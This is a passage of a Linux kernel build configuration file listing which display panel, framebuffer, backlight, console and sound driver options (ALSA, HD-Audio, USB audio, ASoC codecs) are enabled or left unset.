# CONFIG_DRM_PANEL_TRULY_NT35597_WQXGA is not set
# CONFIG_DRM_PANEL_VISIONOX_G2647FB105 is not set
# CONFIG_DRM_PANEL_VISIONOX_R66451 is not set
# CONFIG_DRM_PANEL_VISIONOX_RM69299 is not set
# CONFIG_DRM_PANEL_VISIONOX_RM692E5 is not set
# CONFIG_DRM_PANEL_VISIONOX_VTDR6130 is not set
# CONFIG_DRM_PANEL_WIDECHIPS_WS2401 is not set
# CONFIG_DRM_PANEL_XINPENG_XPP055C272 is not set
# end of Display Panels

# CONFIG_DRM_QXL is not set
# CONFIG_DRM_RADEON is not set
# CONFIG_DRM_ST7571 is not set
# CONFIG_DRM_ST7586 is not set
# CONFIG_DRM_ST7735R is not set
# CONFIG_DRM_ST7920 is not set
# CONFIG_DRM_SSD130X is not set

#
# Drivers for system framebuffers
#
CONFIG_DRM_SYSFB_HELPER=y
CONFIG_DRM_SIMPLEDRM=y
# CONFIG_DRM_VESADRM is not set
# end of Drivers for system framebuffers

# CONFIG_DRM_APPLETBDRM is not set
# CONFIG_DRM_ARCPGU is not set
CONFIG_DRM_BOCHS=y
CONFIG_DRM_CIRRUS_QEMU=y
CONFIG_DRM_GM12U320=y
# CONFIG_DRM_PANEL_MIPI_DBI is not set
# CONFIG_DRM_PIXPAPER is not set
# CONFIG_TINYDRM_HX8357D is not set
# CONFIG_TINYDRM_ILI9163 is not set
# CONFIG_TINYDRM_ILI9225 is not set
# CONFIG_TINYDRM_ILI9341 is not set
# CONFIG_TINYDRM_ILI9486 is not set
# CONFIG_TINYDRM_MI0283QT is not set
# CONFIG_TINYDRM_REPAPER is not set
# CONFIG_TINYDRM_SHARP_MEMORY is not set
CONFIG_DRM_UDL=y
# CONFIG_DRM_VBOXVIDEO is not set
CONFIG_DRM_VGEM=y
CONFIG_DRM_VIRTIO_GPU=y
CONFIG_DRM_VIRTIO_GPU_KMS=y
# CONFIG_DRM_VKMS is not set
CONFIG_DRM_VMWGFX=y
# CONFIG_DRM_VMWGFX_MKSSTATS is not set
# CONFIG_DRM_XE is not set
CONFIG_DRM_PANEL_ORIENTATION_QUIRKS=y

#
# Frame buffer Devices
#
CONFIG_FB=y
# CONFIG_FB_CIRRUS is not set
# CONFIG_FB_PM2 is not set
# CONFIG_FB_CYBER2000 is not set
# CONFIG_FB_ARC is not set
# CONFIG_FB_ASILIANT is not set
# CONFIG_FB_IMSTT is not set
CONFIG_FB_VGA16=y
# CONFIG_FB_UVESA is not set
CONFIG_FB_VESA=y
# CONFIG_FB_N411 is not set
# CONFIG_FB_OPENCORES is not set
# CONFIG_FB_S1D13XXX is not set
# CONFIG_FB_NVIDIA is not set
# CONFIG_FB_RIVA is not set
# CONFIG_FB_I740 is not set
# CONFIG_FB_MATROX is not set
# CONFIG_FB_RADEON is not set
# CONFIG_FB_ATY128 is not set
# CONFIG_FB_ATY is not set
# CONFIG_FB_S3 is not set
# CONFIG_FB_SAVAGE is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_VIA is not set
# CONFIG_FB_NEOMAGIC is not set
# CONFIG_FB_KYRO is not set
# CONFIG_FB_3DFX is not set
# CONFIG_FB_VOODOO1 is not set
# CONFIG_FB_VT8623 is not set
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_ARK is not set
# CONFIG_FB_PM3 is not set
# CONFIG_FB_CARMINE is not set
# CONFIG_FB_SMSCUFX is not set
# CONFIG_FB_UDL is not set
# CONFIG_FB_IBM_GXT4500 is not set
CONFIG_FB_VIRTUAL=y
# CONFIG_FB_METRONOME is not set
# CONFIG_FB_MB862XX is not set
# CONFIG_FB_SSD1307 is not set
# CONFIG_FB_SM712 is not set
CONFIG_FB_CORE=y
CONFIG_FB_NOTIFY=y
CONFIG_FB_DEVICE=y
CONFIG_FB_CFB_FILLRECT=y
CONFIG_FB_CFB_COPYAREA=y
CONFIG_FB_CFB_IMAGEBLIT=y
CONFIG_FB_SYS_FILLRECT=y
CONFIG_FB_SYS_COPYAREA=y
CONFIG_FB_SYS_IMAGEBLIT=y
# CONFIG_FB_FOREIGN_ENDIAN is not set
CONFIG_FB_SYSMEM_FOPS=y
CONFIG_FB_DEFERRED_IO=y
CONFIG_FB_IOMEM_FOPS=y
CONFIG_FB_IOMEM_HELPERS=y
CONFIG_FB_SYSMEM_HELPERS=y
CONFIG_FB_SYSMEM_HELPERS_DEFERRED=y
CONFIG_FB_TILEBLITTING=y
# end of Frame buffer Devices

#
# Backlight & LCD device support
#
CONFIG_LCD_CLASS_DEVICE=y
# CONFIG_LCD_L4F00242T03 is not set
# CONFIG_LCD_LMS283GF05 is not set
# CONFIG_LCD_LTV350QV is not set
# CONFIG_LCD_ILI922X is not set
# CONFIG_LCD_ILI9320 is not set
# CONFIG_LCD_TDO24M is not set
# CONFIG_LCD_VGG2432A4 is not set
# CONFIG_LCD_PLATFORM is not set
# CONFIG_LCD_AMS369FG06 is not set
# CONFIG_LCD_LMS501KF03 is not set
# CONFIG_LCD_HX8357 is not set
# CONFIG_LCD_OTM3225A is not set
CONFIG_BACKLIGHT_CLASS_DEVICE=y
# CONFIG_BACKLIGHT_AW99706 is not set
# CONFIG_BACKLIGHT_KTD253 is not set
# CONFIG_BACKLIGHT_KTD2801 is not set
# CONFIG_BACKLIGHT_KTZ8866 is not set
# CONFIG_BACKLIGHT_MAX25014 is not set
# CONFIG_BACKLIGHT_MT6370 is not set
# CONFIG_BACKLIGHT_APPLE is not set
# CONFIG_BACKLIGHT_QCOM_WLED is not set
# CONFIG_BACKLIGHT_SAHARA is not set
# CONFIG_BACKLIGHT_ADP8860 is not set
# CONFIG_BACKLIGHT_ADP8870 is not set
# CONFIG_BACKLIGHT_LM3509 is not set
# CONFIG_BACKLIGHT_LM3639 is not set
# CONFIG_BACKLIGHT_PANDORA is not set
# CONFIG_BACKLIGHT_GPIO is not set
# CONFIG_BACKLIGHT_LV5207LP is not set
# CONFIG_BACKLIGHT_BD6107 is not set
# CONFIG_BACKLIGHT_ARCXCNN is not set
# CONFIG_BACKLIGHT_LED is not set
# end of Backlight & LCD device support

CONFIG_VGASTATE=y
CONFIG_VIDEOMODE_HELPERS=y
CONFIG_HDMI=y
# CONFIG_FIRMWARE_EDID is not set

#
# Console display driver support
#
CONFIG_VGA_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=80
CONFIG_DUMMY_CONSOLE_ROWS=25
CONFIG_FRAMEBUFFER_CONSOLE=y
# CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION is not set
CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y
CONFIG_FRAMEBUFFER_CONSOLE_ROTATION=y
# CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set
# end of Console display driver support

CONFIG_LOGO=y
CONFIG_LOGO_LINUX_MONO=y
CONFIG_LOGO_LINUX_MONO_FILE="drivers/video/logo/logo_linux_mono.pbm"
CONFIG_LOGO_LINUX_VGA16=y
CONFIG_LOGO_LINUX_VGA16_FILE="drivers/video/logo/logo_linux_vga16.ppm"
# CONFIG_LOGO_LINUX_CLUT224 is not set
# CONFIG_TRACE_GPU_MEM is not set
# end of Graphics support

# CONFIG_DRM_ACCEL is not set
CONFIG_SOUND=y
CONFIG_SOUND_OSS_CORE=y
CONFIG_SOUND_OSS_CORE_PRECLAIM=y
CONFIG_SND=y
CONFIG_SND_TIMER=y
CONFIG_SND_PCM=y
CONFIG_SND_HWDEP=y
CONFIG_SND_SEQ_DEVICE=y
CONFIG_SND_RAWMIDI=y
CONFIG_SND_UMP=y
CONFIG_SND_UMP_LEGACY_RAWMIDI=y
CONFIG_SND_JACK=y
CONFIG_SND_JACK_INPUT_DEV=y
CONFIG_SND_OSSEMUL=y
CONFIG_SND_MIXER_OSS=y
CONFIG_SND_PCM_OSS=y
CONFIG_SND_PCM_OSS_PLUGINS=y
CONFIG_SND_PCM_TIMER=y
CONFIG_SND_HRTIMER=y
# CONFIG_SND_DYNAMIC_MINORS is not set
# CONFIG_SND_SUPPORT_OLD_API is not set
CONFIG_SND_PROC_FS=y
CONFIG_SND_VERBOSE_PROCFS=y
CONFIG_SND_CTL_FAST_LOOKUP=y
CONFIG_SND_DEBUG=y
# CONFIG_SND_DEBUG_VERBOSE is not set
CONFIG_SND_PCM_XRUN_DEBUG=y
# CONFIG_SND_CTL_INPUT_VALIDATION is not set
# CONFIG_SND_CTL_DEBUG is not set
# CONFIG_SND_JACK_INJECTION_DEBUG is not set
# CONFIG_SND_UTIMER is not set
CONFIG_SND_VMASTER=y
CONFIG_SND_DMA_SGBUF=y
CONFIG_SND_CTL_LED=y
CONFIG_SND_SEQUENCER=y
CONFIG_SND_SEQ_DUMMY=y
CONFIG_SND_SEQUENCER_OSS=y
CONFIG_SND_SEQ_HRTIMER_DEFAULT=y
CONFIG_SND_SEQ_MIDI_EVENT=y
CONFIG_SND_SEQ_MIDI=y
CONFIG_SND_SEQ_VIRMIDI=y
# CONFIG_SND_SEQ_UMP is not set
CONFIG_SND_DRIVERS=y
# CONFIG_SND_PCSP is not set
CONFIG_SND_DUMMY=y
CONFIG_SND_ALOOP=y
# CONFIG_SND_PCMTEST is not set
CONFIG_SND_VIRMIDI=y
# CONFIG_SND_MTPAV is not set
# CONFIG_SND_MTS64 is not set
# CONFIG_SND_SERIAL_U16550 is not set
# CONFIG_SND_SERIAL_GENERIC is not set
# CONFIG_SND_MPU401 is not set
# CONFIG_SND_PORTMAN2X4 is not set
CONFIG_SND_PCI=y
# CONFIG_SND_AD1889 is not set
# CONFIG_SND_ALS300 is not set
# CONFIG_SND_ALS4000 is not set
# CONFIG_SND_ALI5451 is not set
# CONFIG_SND_ASIHPI is not set
# CONFIG_SND_ATIIXP is not set
# CONFIG_SND_ATIIXP_MODEM is not set
# CONFIG_SND_AU8810 is not set
# CONFIG_SND_AU8820 is not set
# CONFIG_SND_AU8830 is not set
# CONFIG_SND_AW2 is not set
# CONFIG_SND_AZT3328 is not set
# CONFIG_SND_BT87X is not set
# CONFIG_SND_CA0106 is not set
# CONFIG_SND_CMIPCI is not set
# CONFIG_SND_OXYGEN is not set
# CONFIG_SND_CS4281 is not set
# CONFIG_SND_CS46XX is not set
# CONFIG_SND_CTXFI is not set
# CONFIG_SND_DARLA20 is not set
# CONFIG_SND_GINA20 is not set
# CONFIG_SND_LAYLA20 is not set
# CONFIG_SND_DARLA24 is not set
# CONFIG_SND_GINA24 is not set
# CONFIG_SND_LAYLA24 is not set
# CONFIG_SND_MONA is not set
# CONFIG_SND_MIA is not set
# CONFIG_SND_ECHO3G is not set
# CONFIG_SND_INDIGO is not set
# CONFIG_SND_INDIGOIO is not set
# CONFIG_SND_INDIGODJ is not set
# CONFIG_SND_INDIGOIOX is not set
# CONFIG_SND_INDIGODJX is not set
# CONFIG_SND_EMU10K1 is not set
# CONFIG_SND_EMU10K1X is not set
# CONFIG_SND_ENS1370 is not set
# CONFIG_SND_ENS1371 is not set
# CONFIG_SND_ES1938 is not set
# CONFIG_SND_ES1968 is not set
# CONFIG_SND_FM801 is not set
# CONFIG_SND_HDSP is not set
# CONFIG_SND_HDSPM is not set
# CONFIG_SND_ICE1712 is not set
# CONFIG_SND_ICE1724 is not set
# CONFIG_SND_INTEL8X0 is not set
# CONFIG_SND_INTEL8X0M is not set
# CONFIG_SND_KORG1212 is not set
# CONFIG_SND_LOLA is not set
# CONFIG_SND_LX6464ES is not set
# CONFIG_SND_MAESTRO3 is not set
# CONFIG_SND_MIXART is not set
# CONFIG_SND_NM256 is not set
# CONFIG_SND_PCXHR is not set
# CONFIG_SND_RIPTIDE is not set
# CONFIG_SND_RME32 is not set
# CONFIG_SND_RME96 is not set
# CONFIG_SND_RME9652 is not set
# CONFIG_SND_SE6X is not set
# CONFIG_SND_SONICVIBES is not set
# CONFIG_SND_TRIDENT is not set
# CONFIG_SND_VIA82XX is not set
# CONFIG_SND_VIA82XX_MODEM is not set
# CONFIG_SND_VIRTUOSO is not set
# CONFIG_SND_VX222 is not set
# CONFIG_SND_YMFPCI is not set

#
# HD-Audio
#
CONFIG_SND_HDA=y
CONFIG_SND_HDA_HWDEP=y
CONFIG_SND_HDA_RECONFIG=y
CONFIG_SND_HDA_INPUT_BEEP=y
CONFIG_SND_HDA_INPUT_BEEP_MODE=1
CONFIG_SND_HDA_PATCH_LOADER=y
CONFIG_SND_HDA_POWER_SAVE_DEFAULT=0
# CONFIG_SND_HDA_CTL_DEV_ID is not set
CONFIG_SND_HDA_PREALLOC_SIZE=0
CONFIG_SND_HDA_INTEL=y
# CONFIG_SND_HDA_ACPI is not set
CONFIG_SND_HDA_GENERIC_LEDS=y
CONFIG_SND_HDA_CODEC_ANALOG=y
CONFIG_SND_HDA_CODEC_SIGMATEL=y
CONFIG_SND_HDA_CODEC_VIA=y
CONFIG_SND_HDA_CODEC_CONEXANT=y
# CONFIG_SND_HDA_CODEC_SENARYTECH is not set
CONFIG_SND_HDA_CODEC_CA0110=y
CONFIG_SND_HDA_CODEC_CA0132=y
# CONFIG_SND_HDA_CODEC_CA0132_DSP is not set
CONFIG_SND_HDA_CODEC_CMEDIA=y
# CONFIG_SND_HDA_CODEC_CM9825 is not set
CONFIG_SND_HDA_CODEC_SI3054=y
CONFIG_SND_HDA_GENERIC=y
CONFIG_SND_HDA_CODEC_REALTEK=y
# CONFIG_SND_HDA_CODEC_ALC260 is not set
# CONFIG_SND_HDA_CODEC_ALC262 is not set
# CONFIG_SND_HDA_CODEC_ALC268 is not set
# CONFIG_SND_HDA_CODEC_ALC269 is not set
# CONFIG_SND_HDA_CODEC_ALC662 is not set
# CONFIG_SND_HDA_CODEC_ALC680 is not set
# CONFIG_SND_HDA_CODEC_ALC861 is not set
# CONFIG_SND_HDA_CODEC_ALC861VD is not set
# CONFIG_SND_HDA_CODEC_ALC880 is not set
# CONFIG_SND_HDA_CODEC_ALC882 is not set
CONFIG_SND_HDA_CODEC_CIRRUS=y
# CONFIG_SND_HDA_CODEC_CS420X is not set
# CONFIG_SND_HDA_CODEC_CS421X is not set
# CONFIG_SND_HDA_CODEC_CS8409 is not set
CONFIG_SND_HDA_CODEC_HDMI=y
# CONFIG_SND_HDA_CODEC_HDMI_GENERIC is not set
# CONFIG_SND_HDA_CODEC_HDMI_SIMPLE is not set
# CONFIG_SND_HDA_CODEC_HDMI_INTEL is not set
# CONFIG_SND_HDA_CODEC_HDMI_ATI is not set
# CONFIG_SND_HDA_CODEC_HDMI_NVIDIA is not set
# CONFIG_SND_HDA_CODEC_HDMI_NVIDIA_MCP is not set
# CONFIG_SND_HDA_CODEC_HDMI_TEGRA is not set
# CONFIG_SND_HDA_SCODEC_AW88399_I2C is not set
# CONFIG_SND_HDA_SCODEC_CS35L56_I2C is not set
# CONFIG_SND_HDA_SCODEC_CS35L56_SPI is not set
CONFIG_SND_HDA_CORE=y
CONFIG_SND_HDA_COMPONENT=y
CONFIG_SND_HDA_I915=y
CONFIG_SND_INTEL_NHLT=y
CONFIG_SND_INTEL_DSP_CONFIG=y
CONFIG_SND_INTEL_SOUNDWIRE_ACPI=y
# end of HD-Audio

# CONFIG_SND_SPI is not set
CONFIG_SND_USB=y
CONFIG_SND_USB_AUDIO=y
CONFIG_SND_USB_AUDIO_MIDI_V2=y
CONFIG_SND_USB_AUDIO_USE_MEDIA_CONTROLLER=y
CONFIG_SND_USB_UA101=y
CONFIG_SND_USB_USX2Y=y
CONFIG_SND_USB_CAIAQ=y
CONFIG_SND_USB_CAIAQ_INPUT=y
CONFIG_SND_USB_US122L=y
# CONFIG_SND_USB_US144MKII is not set
CONFIG_SND_USB_6FIRE=y
CONFIG_SND_USB_HIFACE=y
CONFIG_SND_BCD2000=y
CONFIG_SND_USB_LINE6=y
CONFIG_SND_USB_POD=y
CONFIG_SND_USB_PODHD=y
CONFIG_SND_USB_TONEPORT=y
CONFIG_SND_USB_VARIAX=y
# CONFIG_SND_FIREWIRE is not set
CONFIG_SND_PCMCIA=y
# CONFIG_SND_VXPOCKET is not set
# CONFIG_SND_PDAUDIOCF is not set
CONFIG_SND_SOC=y
# CONFIG_SND_SOC_USB is not set

#
# Analog Devices
#
# CONFIG_SND_SOC_ADI_AXI_I2S is not set
# CONFIG_SND_SOC_ADI_AXI_SPDIF is not set
# end of Analog Devices

#
# AMD
#
# CONFIG_SND_SOC_AMD_ACP is not set
# CONFIG_SND_SOC_AMD_ACP3x is not set
# CONFIG_SND_SOC_AMD_RENOIR is not set
# CONFIG_SND_SOC_AMD_ACP5x is not set
# CONFIG_SND_SOC_AMD_ACP6x is not set
# CONFIG_SND_AMD_ACP_CONFIG is not set
# CONFIG_SND_SOC_AMD_ACP_COMMON is not set
# end of AMD

#
# Apple
#
# end of Apple

#
# Atmel
#
# CONFIG_SND_SOC_MIKROE_PROTO is not set
# end of Atmel

#
# Au1x
#
# end of Au1x

#
# Broadcom
#
# CONFIG_SND_BCM63XX_I2S_WHISTLER is not set
# end of Broadcom

#
# Cirrus Logic
#
# end of Cirrus Logic

#
# DesignWare
#
# CONFIG_SND_DESIGNWARE_I2S is not set
# end of DesignWare

#
# Freescale
#

#
# Common SoC Audio options for Freescale CPUs:
#
# CONFIG_SND_SOC_FSL_ASRC is not set
# CONFIG_SND_SOC_FSL_SAI is not set
# CONFIG_SND_SOC_FSL_AUDMIX is not set
# CONFIG_SND_SOC_FSL_SSI is not set
# CONFIG_SND_SOC_FSL_SPDIF is not set
# CONFIG_SND_SOC_FSL_ESAI is not set
# CONFIG_SND_SOC_FSL_MICFIL is not set
# CONFIG_SND_SOC_FSL_XCVR is not set
# CONFIG_SND_SOC_IMX_AUDMUX is not set
# end of Freescale

#
# Google
#
# CONFIG_SND_SOC_CHV3_I2S is not set
# end of Google

#
# Hisilicon
#
# CONFIG_SND_I2S_HI6210_I2S is not set
# end of Hisilicon

#
# JZ4740
#
# end of JZ4740

#
# Kirkwood
#
# end of Kirkwood

#
# Loongson
#
# end of Loongson

#
# Intel
#
# CONFIG_SND_SOC_INTEL_SST_TOPLEVEL is not set
# CONFIG_SND_SOC_INTEL_AVS is not set
# end of Intel

#
# Mediatek
#
# CONFIG_SND_SOC_MTK_BTCVSD is not set
# end of Mediatek

#
# PXA
#
# end of PXA

#
# SoundWire (SDCA)
#
# CONFIG_SND_SOC_SDCA is not set
CONFIG_SND_SOC_SDCA_OPTIONAL=y
# end of SoundWire (SDCA)

#
# ST SPEAr
#
# end of ST SPEAr

#
# Spreadtrum
#
# end of Spreadtrum

#
# STMicroelectronics STM32
#
# end of STMicroelectronics STM32

#
# Tegra
#
# end of Tegra

#
# Xilinx
#
# CONFIG_SND_SOC_XILINX_I2S is not set
# CONFIG_SND_SOC_XILINX_AUDIO_FORMATTER is not set
# CONFIG_SND_SOC_XILINX_SPDIF is not set
# end of Xilinx

#
# Xtensa
#
# CONFIG_SND_SOC_XTFPGA_I2S is not set
# end of Xtensa

# CONFIG_SND_SOC_SOF_TOPLEVEL is not set
CONFIG_SND_SOC_I2C_AND_SPI=y

#
# CODEC drivers
#
# CONFIG_SND_SOC_AC97_CODEC is not set
# CONFIG_SND_SOC_ADAU1372_I2C is not set
# CONFIG_SND_SOC_ADAU1372_SPI is not set
# CONFIG_SND_SOC_ADAU1373 is not set
# CONFIG_SND_SOC_ADAU1701 is not set
# CONFIG_SND_SOC_ADAU1761_I2C is not set
# CONFIG_SND_SOC_ADAU1761_SPI is not set
# CONFIG_SND_SOC_ADAU7002 is not set
# CONFIG_SND_SOC_ADAU7118_HW is not set
# CONFIG_SND_SOC_ADAU7118_I2C is not set
# CONFIG_SND_SOC_AK4104 is not set
# CONFIG_SND_SOC_AK4118 is not set
# CONFIG_SND_SOC_AK4375 is not set
# CONFIG_SND_SOC_AK4458 is not set
# CONFIG_SND_SOC_AK4554 is not set
# CONFIG_SND_SOC_AK4613 is not set
# CONFIG_SND_SOC_AK4619 is not set
# CONFIG_SND_SOC_AK4642 is not set
# CONFIG_SND_SOC_AK5386 is not set
# CONFIG_SND_SOC_AK5558 is not set
# CONFIG_SND_SOC_ALC5623 is not set
# CONFIG_SND_SOC_AUDIO_IIO_AUX is not set
# CONFIG_SND_SOC_AW8738 is not set
# CONFIG_SND_SOC_AW88395 is not set
# CONFIG_SND_SOC_AW88166 is not set
# CONFIG_SND_SOC_AW88261 is not set
# CONFIG_SND_SOC_AW88081 is not set
# CONFIG_SND_SOC_AW87390 is not set
# CONFIG_SND_SOC_AW88399 is not set
# CONFIG_SND_SOC_BD28623 is not set
# CONFIG_SND_SOC_BT_SCO is not set
# CONFIG_SND_SOC_CHV3_CODEC is not set
# CONFIG_SND_SOC_CS35L32 is not set
# CONFIG_SND_SOC_CS35L33 is not set
# CONFIG_SND_SOC_CS35L34 is not set
# CONFIG_SND_SOC_CS35L35 is not set
# CONFIG_SND_SOC_CS35L36 is not set
# CONFIG_SND_SOC_CS35L41_SPI is not set
# CONFIG_SND_SOC_CS35L41_I2C is not set
# CONFIG_SND_SOC_CS35L45_SPI is not set
# CONFIG_SND_SOC_CS35L45_I2C is not set
# CONFIG_SND_SOC_CS35L56_I2C is not set
# CONFIG_SND_SOC_CS35L56_SPI is not set
# CONFIG_SND_SOC_CS35L56_SDW is not set
# CONFIG_SND_SOC_CS42L42 is not set
# CONFIG_SND_SOC_CS42L42_SDW is not set
# CONFIG_SND_SOC_CS42L51_I2C is not set
# CONFIG_SND_SOC_CS42L52 is not set
# CONFIG_SND_SOC_CS42L56 is not set
# CONFIG_SND_SOC_CS42L73 is not set
# CONFIG_SND_SOC_CS42L83 is not set
# CONFIG_SND_SOC_CS42L84 is not set
# CONFIG_SND_SOC_CS4234 is not set
# CONFIG_SND_SOC_CS4265 is not set
# CONFIG_SND_SOC_CS4270 is not set
# CONFIG_SND_SOC_CS4271_I2C is not set
# CONFIG_SND_SOC_CS4271_SPI is not set
# CONFIG_SND_SOC_CS42XX8_SPI is not set
# CONFIG_SND_SOC_CS42XX8_I2C is not set
# CONFIG_SND_SOC_CS43130 is not set
# CONFIG_SND_SOC_CS4341 is not set
# CONFIG_SND_SOC_CS4349 is not set
# CONFIG_SND_SOC_CS48L32 is not set
# CONFIG_SND_SOC_CS53L30 is not set
# CONFIG_SND_SOC_CS530X_I2C is not set
# CONFIG_SND_SOC_CS530X_SPI is not set
# CONFIG_SND_SOC_CX2072X is not set
# CONFIG_SND_SOC_DA7213 is not set
# CONFIG_SND_SOC_DMIC is not set
# CONFIG_SND_SOC_ES7134 is not set
# CONFIG_SND_SOC_ES7241 is not set
# CONFIG_SND_SOC_ES8311 is not set
# CONFIG_SND_SOC_ES8316 is not set
# CONFIG_SND_SOC_ES8323 is not set
# CONFIG_SND_SOC_ES8326 is not set
# CONFIG_SND_SOC_ES8328_I2C is not set
# CONFIG_SND_SOC_ES8328_SPI is not set
# CONFIG_SND_SOC_ES8375 is not set
# CONFIG_SND_SOC_ES8389 is not set
# CONFIG_SND_SOC_FS210X is not set
# CONFIG_SND_SOC_GTM601 is not set
# CONFIG_SND_SOC_HDA is not set
# CONFIG_SND_SOC_ICS43432 is not set
# CONFIG_SND_SOC_IDT821034 is not set
# CONFIG_SND_SOC_MAX98088 is not set
# CONFIG_SND_SOC_MAX98090 is not set
# CONFIG_SND_SOC_MAX98357A is not set
# CONFIG_SND_SOC_MAX98504 is not set
# CONFIG_SND_SOC_MAX9867 is not set
# CONFIG_SND_SOC_MAX98927 is not set
# CONFIG_SND_SOC_MAX98520 is not set
# CONFIG_SND_SOC_MAX98363 is not set
# CONFIG_SND_SOC_MAX98373_I2C is not set
# CONFIG_SND_SOC_MAX98373_SDW is not set
# CONFIG_SND_SOC_MAX98388 is not set
# CONFIG_SND_SOC_MAX98390 is not set
# CONFIG_SND_SOC_MAX98396 is not set
# CONFIG_SND_SOC_MAX9860 is not set
# CONFIG_SND_SOC_MSM8916_WCD_DIGITAL is not set
# CONFIG_SND_SOC_PCM1681 is not set
# CONFIG_SND_SOC_PCM1754 is not set
# CONFIG_SND_SOC_PCM1789_I2C is not set
# CONFIG_SND_SOC_PCM179X_I2C is not set
# CONFIG_SND_SOC_PCM179X_SPI is not set
# CONFIG_SND_SOC_PCM186X_I2C is not set
# CONFIG_SND_SOC_PCM186X_SPI is not set
# CONFIG_SND_SOC_PCM3060_I2C is not set
# CONFIG_SND_SOC_PCM3060_SPI is not set
# CONFIG_SND_SOC_PCM3168A_I2C is not set
# CONFIG_SND_SOC_PCM3168A_SPI is not set
# CONFIG_SND_SOC_PCM5102A is not set
# CONFIG_SND_SOC_PCM512x_I2C is not set
# CONFIG_SND_SOC_PCM512x_SPI is not set
# CONFIG_SND_SOC_PCM6240 is not set
# CONFIG_SND_SOC_PEB2466 is not set
# CONFIG_SND_SOC_PM4125_SDW is not set
# CONFIG_SND_SOC_RT1017_SDCA_SDW is not set
# CONFIG_SND_SOC_RT1308_SDW is not set
# CONFIG_SND_SOC_RT1316_SDW is not set
# CONFIG_SND_SOC_RT1318_SDW is not set
# CONFIG_SND_SOC_RT1320_SDW is not set
# CONFIG_SND_SOC_RT5575 is not set
# CONFIG_SND_SOC_RT5616 is not set
# CONFIG_SND_SOC_RT5631 is not set
# CONFIG_SND_SOC_RT5640 is not set
# CONFIG_SND_SOC_RT5645 is not set
# CONFIG_SND_SOC_RT5659 is not set
# CONFIG_SND_SOC_RT5677 is not set
# CONFIG_SND_SOC_RT5682_SDW is not set
# CONFIG_SND_SOC_RT700_SDW is not set
# CONFIG_SND_SOC_RT711_SDW is not set
# CONFIG_SND_SOC_RT711_SDCA_SDW is not set
# CONFIG_SND_SOC_RT712_SDCA_SDW is not set
# CONFIG_SND_SOC_RT712_SDCA_DMIC_SDW is not set
# CONFIG_SND_SOC_RT721_SDCA_SDW is not set
# CONFIG_SND_SOC_RT722_SDCA_SDW is not set
# CONFIG_SND_SOC_RT715_SDW is not set
# CONFIG_SND_SOC_RT715_SDCA_SDW is not set
# CONFIG_SND_SOC_RT9120 is not set
# CONFIG_SND_SOC_RT9123 is not set
# CONFIG_SND_SOC_RT9123P is not set
# CONFIG_SND_SOC_RTQ9124 is not set
# CONFIG_SND_SOC_RTQ9128 is not set
# CONFIG_SND_SOC_SDW_MOCKUP is not set
# CONFIG_SND_SOC_SGTL5000 is not set
# CONFIG_SND_SOC_SIMPLE_AMPLIFIER is not set
# CONFIG_SND_SOC_SIMPLE_MUX is not set
# CONFIG_SND_SOC_SMA1303 is not set
# CONFIG_SND_SOC_SMA1307 is not set
# CONFIG_SND_SOC_SPDIF is not set
# CONFIG_SND_SOC_SRC4XXX_I2C is not set
# CONFIG_SND_SOC_SSM2305 is not set
# CONFIG_SND_SOC_SSM2518 is not set
# CONFIG_SND_SOC_SSM2602_SPI is not set
# CONFIG_SND_SOC_SSM2602_I2C is not set
# CONFIG_SND_SOC_SSM3515 is not set
# CONFIG_SND_SOC_SSM4567 is not set
# CONFIG_SND_SOC_STA32X is not set
# CONFIG_SND_SOC_STA350 is not set
# CONFIG_SND_SOC_STI_SAS is not set
# CONFIG_SND_SOC_TAS2552 is not set
# CONFIG_SND_SOC_TAS2562 is not set
# CONFIG_SND_SOC_TAS2764 is not set
# CONFIG_SND_SOC_TAS2770 is not set
# CONFIG_SND_SOC_TAS2780 is not set
# CONFIG_SND_SOC_TAS2781_I2C is not set
# CONFIG_SND_SOC_TAS5086 is not set
# CONFIG_SND_SOC_TAS571X is not set
# CONFIG_SND_SOC_TAS5720 is not set
# CONFIG_SND_SOC_TAS5805M is not set
# CONFIG_SND_SOC_TAS6424 is not set
# CONFIG_SND_SOC_TAS675X is not set
# CONFIG_SND_SOC_TDA7419 is not set
# CONFIG_SND_SOC_TFA9879 is not set
# CONFIG_SND_SOC_TFA989X is not set
# CONFIG_SND_SOC_TLV320ADC3XXX is not set
# CONFIG_SND_SOC_TLV320AIC23_I2C is not set
# CONFIG_SND_SOC_TLV320AIC23_SPI is not set
# CONFIG_SND_SOC_TLV320AIC31XX is not set
# CONFIG_SND_SOC_TLV320AIC32X4_I2C is not set
# CONFIG_SND_SOC_TLV320AIC32X4_SPI is not set
# CONFIG_SND_SOC_TLV320AIC3X_I2C is not set
# CONFIG_SND_SOC_TLV320AIC3X_SPI is not set
# CONFIG_SND_SOC_TLV320ADCX140 is not set
# CONFIG_SND_SOC_TS3A227E is not set
# CONFIG_SND_SOC_TSCS42XX is not set
# CONFIG_SND_SOC_TSCS454 is not set
# CONFIG_SND_SOC_UDA1334 is not set
# CONFIG_SND_SOC_UDA1342 is not set
# CONFIG_SND_SOC_UDA1380 is not set
# CONFIG_SND_SOC_WCD937X_SDW is not set
# CONFIG_SND_SOC_WCD938X_SDW is not set
# CONFIG_SND_SOC_WCD939X_SDW is not set
# CONFIG_SND_SOC_WM8510 is not set
# CONFIG_SND_SOC_WM8523 is not set
# CONFIG_SND_SOC_WM8524 is not set
# CONFIG_SND_SOC_WM8580 is not set
# CONFIG_SND_SOC_WM8711 is not set
# CONFIG_SND_SOC_WM8728 is not set
# CONFIG_SND_SOC_WM8731_I2C is not set
# CONFIG_SND_SOC_WM8731_SPI is not set
# CONFIG_SND_SOC_WM8737 is not set
# CONFIG_SND_SOC_WM8741 is not set
# CONFIG_SND_SOC_WM8750 is not set
# CONFIG_SND_SOC_WM8753 is not set
# CONFIG_SND_SOC_WM8770 is not set
# CONFIG_SND_SOC_WM8776 is not set
# CONFIG_SND_SOC_WM8782 is not set
# CONFIG_SND_SOC_WM8804_I2C is not set
# CONFIG_SND_SOC_WM8804_SPI is not set
# CONFIG_SND_SOC_WM8903 is not set
# CONFIG_SND_SOC_WM8904 is not set
# CONFIG_SND_SOC_WM8940 is not set
# CONFIG_SND_SOC_WM8960 is not set
